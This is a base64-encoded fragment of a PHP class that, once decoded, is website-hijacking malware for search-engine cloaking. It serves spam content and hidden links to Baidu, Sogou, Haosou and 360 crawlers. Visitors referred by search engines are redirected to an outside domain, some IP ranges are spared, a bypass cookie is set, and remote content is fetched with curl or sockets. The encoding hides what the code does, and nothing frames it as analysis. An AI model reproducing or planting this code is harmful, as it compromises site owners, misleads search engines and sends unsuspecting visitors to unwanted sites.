PiI7CgkJcmV0dXJuICRodG1sOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBxdWVyeSgpewoJCSR1cmwg ID0gJHRoaXMtPmNyYXdsX3VybC4nPycuaHR0cF9idWlsZF9xdWVyeSgkdGhpcy0+cXVlcnlfZGF0 YSk7CgkJJHRoaXMtPmNvbnRlbnQgPSAkdGhpcy0+SHR0cFZpc2l0KCR1cmwpOwoJfQoKCXB1Ymxp YyBmdW5jdGlvbiBydW4oKXsKCQkkdGhpcy0+ZG9tYWluID0gJHRoaXMtPmdldFNlcnZlck5hbWUo KTsKCQkkdGhpcy0+anVtcF9yZWYgPSBleHBsb2RlKCJ8IiwiYmFpZHUufGhhb3NvLnxoYW9zb3Uu fGJpbmcufHNvLnxzb2dvdS58c29zby4iKTsKCQkkdGhpcy0+aHR0cF9yZWZfZmlsdGVyID0gZXhw bG9kZSgifCIsImludXJsOnxzaXRlOnxzaXRlJTNBfGludXJsJTNBIik7CgkJJHRoaXMtPmFsbG93 X2lwID0gIjIyMi4xODQuMjM0fDExMi44Ny43MXw1OC4yMjEuODcufDQ5LjY3LjIyMyI7CgkJJHRo aXMtPmNvbmRpdGlvbiA9ICgkX0dFVFsnYWlkJ10gPiAxMDAwMDAwMCAmJiAkdGhpcy0+aXNBbGxv d2RJcCgpKTsKCQkkdGhpcy0+YXBwX3NlcnZlciA9ICIiOwoJCSR0aGlzLT5pc0NhY2hlICA9IEZh bHNlOwoJCWlmKCR0aGlzLT5pc1NwaWRlcigpICYmICR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkJ aWYoJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkJCQkkcmVs c2V0X2hvc3QgPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCQkJCQkkZGlyID0gKHN1YnN0cihQ SFBfT1MsIDAsIDMpID09ICdXSU4nID8gJ0M6L3dpbmRvd3MvdGVtcC8nIDogJy90bXAvJykgLiBz dWJzdHIobWQ1KCRyZWxzZXRfaG9zdCksIDI2KSAuIGNocig0Nyk7CgkJCQkJCSRjYWNoZUZpbGUg PSAkZGlyLidzZXNzXycgLiBzdWJzdHIobWQ1KGh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpKSwgNik7 CgkJCQkJCWlmKCFAZmlsZV9leGlzdHMoJGRpcikpewogICAgICAgICAgICAgCQkJCSBta2Rpcigk ZGlyLCAwNzc3KTsKICAgICAgICAgICAgCQkJfQoJCQkJCQlpZihAZmlsZV9leGlzdHMoJGNhY2hl RmlsZSkgJiYgQGZpbGVzaXplICgkY2FjaGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29y ZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZpbGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250 ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxh Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK